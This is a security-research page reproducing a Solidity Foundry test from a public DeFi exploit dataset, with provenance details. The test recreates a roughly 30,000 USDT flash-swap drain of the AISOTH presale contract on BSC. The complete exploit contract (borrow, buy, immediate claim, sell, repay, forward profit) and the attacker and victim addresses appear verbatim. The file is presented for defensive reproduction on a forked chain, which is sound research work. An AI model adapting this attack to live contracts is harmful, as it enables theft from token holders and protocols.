Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/AISOTHPresale_exp.sol

Public reproduction file for dataset entry AISOTHPresale.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/AISOTHPresale_exp.sol124 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 30,314.76 USDT
8// Attacker : 0x627df72cc3fa38c475a414e65cdece09b2b177af
9// Attack Contract : 0x2078b0d64ede277d65bdf0272f64aef2a954deab
10// Vulnerable Contract : 0x796c5e8ca10010654dafaef096bd1f4a7ad87672
11// Victim : 0x9efb2e8ba06eb5981034f6e01350af041983e763
12// Attack Tx : https://bscscan.com/tx/0x11462984d7f5663db9cf95c07c6cd9ff91f5b2d6616268e8dd6a3013e190248c
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x796c5e8ca10010654dafaef096bd1f4a7ad87672#code
17// @Analysis
18// Twitter Guy : https://x.com/audit_911/status/2063565495073415618
19//
20// The attacker flash-swapped USDT, bought the full claimable AIS balance from Presale, immediately claimed it,
21// sold the AIS into the AIS/USDT Pancake pair, repaid the flash swap, and forwarded the remaining USDT profit.
23address constant ATTACKER = 0x627DF72cC3FA38C475A414e65CdECE09b2b177AF;
24address constant PRESALE = 0x796C5E8cA10010654DafAeF096bd1F4a7ad87672;
25address constant AIS = 0x67b6b8B8867e501385C95b843A23f9Bfe34811dB;
26address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
27address constant USDT_WBNB_PAIR = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
28address payable constant PANCAKE_ROUTER = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30interface IAISOTHPresale {
31 function price() external view returns (uint256);
32 function buy(
33 uint256 amount
34 ) external;
35 function claim() external;
38contract ContractTest is BaseTestWithBalanceLog {
39 function setUp() public {
40 uint256 forkBlock = 102_408_283;
41 vm.createSelectFork("bsc", forkBlock);
42 fundingToken = USDT_TOKEN;
44 vm.label(ATTACKER, "Attacker EOA");
45 vm.label(PRESALE, "AISOTH Presale");
46 vm.label(AIS, "AISOTH");
47 vm.label(USDT_TOKEN, "USDT");
48 vm.label(USDT_WBNB_PAIR, "USDT/WBNB Pancake pair");
49 vm.label(PANCAKE_ROUTER, "Pancake router");
50 }
52 function testExploit() public {
53 AISOTHPresaleExploit exploit = new AISOTHPresaleExploit(ATTACKER);
55 uint256 attackerBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
56 vm.prank(ATTACKER);
57 exploit.attack();
59 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBefore;
60 logTokenBalance(USDT_TOKEN, ATTACKER, "Attacker Final");
61 assertGt(profit, 30_000 ether, "USDT profit");
62 }
65contract AISOTHPresaleExploit {
66 address private immutable profitReceiver;
68 IERC20 private constant usdt = IERC20(USDT_TOKEN);
69 IERC20 private constant ais = IERC20(AIS);
70 IAISOTHPresale private constant presale = IAISOTHPresale(PRESALE);
71 IPancakePair private constant loanPair = IPancakePair(USDT_WBNB_PAIR);
72 IPancakeRouter private constant router = IPancakeRouter(PANCAKE_ROUTER);
74 constructor(
75 address profitReceiver_
76 ) {
77 profitReceiver = profitReceiver_;
78 }
80 function attack() external {
81 require(msg.sender == profitReceiver, "only receiver");
83 // step 1: borrow enough USDT to buy the full AIS inventory available in Presale.
84 uint256 presaleAisBalance = ais.balanceOf(PRESALE);
85 uint256 borrowAmount = (presaleAisBalance * presale.price()) / 1e18;
86 loanPair.swap(borrowAmount, 0, address(this), bytes("1"));
88 // step 6: after repaying the flash swap, forward the remaining USDT to the attacker EOA.
89 uint256 profit = usdt.balanceOf(address(this));
90 usdt.transfer(profitReceiver, profit);
91 }
93 function pancakeCall(
94 address sender,
95 uint256 amount0,
96 uint256 amount1,
97 bytes calldata data
98 ) external {
99 require(msg.sender == USDT_WBNB_PAIR, "not loan pair");
100 require(sender == address(this), "bad sender");
101 require(amount0 > 0 && amount1 == 0 && data.length > 0, "bad loan");
103 // step 2: buy Presale allocation with the flash-swapped USDT.
104 usdt.approve(PRESALE, amount0);
105 presale.buy(amount0);
107 // step 3: immediately claim the AIS credited by buy().
108 presale.claim();
110 // step 4: sell claimed AIS through the fee-on-transfer supporting Pancake router path.
111 uint256 aisBalance = ais.balanceOf(address(this));
112 ais.approve(PANCAKE_ROUTER, aisBalance);
113 address[] memory path = new address[](2);
114 path[0] = AIS;
115 path[1] = USDT_TOKEN;
116 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
117 aisBalance, 1, path, address(this), block.timestamp
118 );
120 // step 5: repay the Pancake V2 flash swap with the 0.25% pair fee.
121 uint256 repayment = (amount0 * 10_000) / 9975 + 1;
122 usdt.transfer(USDT_WBNB_PAIR, repayment);
123 }

Analysis

Dataset entry

Public Foundry test for “AISOTHPresale” (2026-06-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x627df72cc3fa38c475a414e65cdece09b2b177af

  • Attack Contract

    0x2078b0d64ede277d65bdf0272f64aef2a954deab

  • Vulnerable Contract

    0x796c5e8ca10010654dafaef096bd1f4a7ad87672

  • Victim

    0x9efb2e8ba06eb5981034f6e01350af041983e763

  • Attack Tx

    0x11462984d7f5663db9cf95c07c6cd9ff91f5b2d6616268e8dd6a3013e190248c

File record

Name
AISOTHPresale
Path
src/test/2026-06/AISOTHPresale_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
ccd2fed50d8ba74c96638b5693ea91c00c5dcd6a
Language
Solidity
Size
125 lines
Date
2026-06-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/AISOTHPresale_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ccd2fed50d8ba74c96638b5693ea91c00c5dcd6a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.